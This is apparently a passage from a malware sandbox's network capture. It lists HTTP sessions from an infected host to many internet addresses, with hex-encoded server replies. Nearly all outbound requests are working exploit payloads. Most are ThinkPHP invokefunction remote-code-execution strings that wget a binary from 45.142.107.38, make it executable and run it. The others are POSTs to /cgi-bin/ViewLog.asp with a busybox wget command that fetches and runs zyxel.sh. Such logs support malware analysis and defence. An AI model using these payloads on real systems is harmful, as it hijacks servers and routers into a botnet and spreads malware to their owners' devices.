Mar 4, 2024 15:07:27.752001047 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:27.931377888 CET	509	IN	HTTP/1.0 400 Bad Request Server: thttpd/2.19-MX Jun 4 2013 Content-type: text/html Date: Mon, 04 Mar 2024 14:07:27 GMT Last-modified: Mon, 04 Mar 2024 14:07:27 GMT Accept-Ranges: bytes Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 74 68 74 74 70 64 2f 22 3e 74 68 74 74 70 64 2f 32 2e 31 39 2d 4d 58 20 4a 75 6e 20 20 34 20 32 30 31 33 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.<HR><ADDRESS><A HREF="http://www.acme.com/software/thttpd/">thttpd/2.19-MX Jun 4 2013</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.13	51996	95.217.120.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.761379957 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:27.950323105 CET	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:27 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.13	54314	95.217.117.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.761696100 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:27.950562000 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:25 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.13	34302	95.163.158.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.784468889 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:27.996202946 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:27 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.13	57354	95.56.158.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.831350088 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:28.091232061 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:07:28.091715097 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.13	45182	112.127.52.24	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:27.954556942 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:28.339036942 CET	188	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:14 GMT Server: Apache Content-Length: 11 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.13	57936	95.33.218.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:28.112947941 CET	509	IN	HTTP/1.0 400 Bad Request Server: thttpd/2.19-MX Jun 4 2013 Content-type: text/html Date: Mon, 04 Mar 2024 14:07:28 GMT Last-modified: Mon, 04 Mar 2024 14:07:28 GMT Accept-Ranges: bytes Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 74 68 74 74 70 64 2f 22 3e 74 68 74 74 70 64 2f 32 2e 31 39 2d 4d 58 20 4a 75 6e 20 20 34 20 32 30 31 33 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.<HR><ADDRESS><A HREF="http://www.acme.com/software/thttpd/">thttpd/2.19-MX Jun 4 2013</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.13	33486	94.194.184.122	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:29.252718925 CET	303	IN	HTTP/1.1 400 Bad Request Server: sky_router X-Frame-Options: Deny Cache-Control: no-cache Date: Mon, 04 Mar 2024 14:07:28 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.13	37350	31.136.45.39	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:31.017688036 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:34.262948990 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:40.407141924 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:52.439027071 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:17.270849943 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.13	54442	94.123.52.165	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:31.055378914 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.13	52346	62.29.5.128	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:31.055484056 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.13	33462	94.122.117.134	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:31.276629925 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:32.406944990 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:33.750994921 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:36.567008018 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:41.942971945 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:52.695009947 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:15.222969055 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.231478930 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.13	46488	112.173.2.193	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:31.660259008 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:31.934895992 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 04 Mar 2024 14:06:49 GMT Server: lighttpd/1.4.35 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC 